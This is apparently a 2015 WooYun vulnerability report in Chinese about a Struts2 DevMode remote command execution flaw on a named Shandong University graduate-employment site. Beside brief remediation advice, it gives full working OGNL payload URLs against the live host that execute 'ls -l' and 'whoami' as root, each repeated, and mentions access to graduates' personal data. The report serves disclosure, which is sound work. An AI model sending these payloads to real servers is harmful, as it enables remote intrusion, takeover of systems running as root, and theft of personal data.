漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0118512
漏洞标题:山东某就业与发展指导中心Struts2漏洞一枚
相关厂商:CCERT教育网应急响应组
漏洞作者: Tonix
提交时间:2015-06-08 09:15
修复时间:2015-06-13 09:16
公开时间:2015-06-13 09:16
漏洞类型:系统/服务运维配置不当
危害等级:中
自评Rank:10
漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-06-08: 细节已通知厂商并且等待厂商处理中
2015-06-13: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
RT
详细说明:
山东大学学生就业与发展指导中心(http://www.job.sdu.edu.cn/)Struts2的DevMode未关闭导致远程命令执行;网站用户为root导致危害性扩大,入侵者可随意执行命令。
本来是想爆破山东大学学生就业与发展指导中心(http://www.job.sdu.edu.cn/)后台管理admin的密码的,想必网站的后台入口就是http://www.job.sdu.edu.cn/admin,在浏览器中输入该URL,出来的竟然是这个
眼前一亮,Struts2框架,DevMode没关,nice!
随即,输入payload,ls一下当前目录:
http://www.job.sdu.edu.cn/news_findByKeyWords?debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27ls%27,%27-l%27})).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[1000],%23d.read(%23e),%23resp.println(%23e),%23resp.close()
得出结果如下:
nice,看到满屏的root,想必当前用户也就是root吧,不过还是用whoami试试:
http://www.job.sdu.edu.cn/news_findByKeyWords?debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27whoami%27})).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[1000],%23d.read(%23e),%23resp.println(%23e),%23resp.close()
果然当前用户就是root,后面不想深入了,基本上可以为所欲为了,毕业生的信息也很重要,是吧。
漏洞证明:
首先,输入http://www.job.sdu.edu.cn/admin证明
1.网站用的是Struts2;
2.DevMode是开启的
其次,输入payload,ls成功
http://www.job.sdu.edu.cn/news_findByKeyWords?debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27ls%27,%27-l%27})).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[1000],%23d.read(%23e),%23resp.println(%23e),%23resp.close()
最后,证明当前用户就是root:
http://www.job.sdu.edu.cn/news_findByKeyWords?debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27whoami%27})).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[1000],%23d.read(%23e),%23resp.println(%23e),%23resp.close()
修复方案:
1.将Struts2的DevMode置成false;
2.请勿使用root作为网站运行用户;
3.请将Struts2升级为最新版本。
版权声明:转载请注明来源 Tonix@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2015-06-13 09:16
厂商回复:
最新状态:
暂无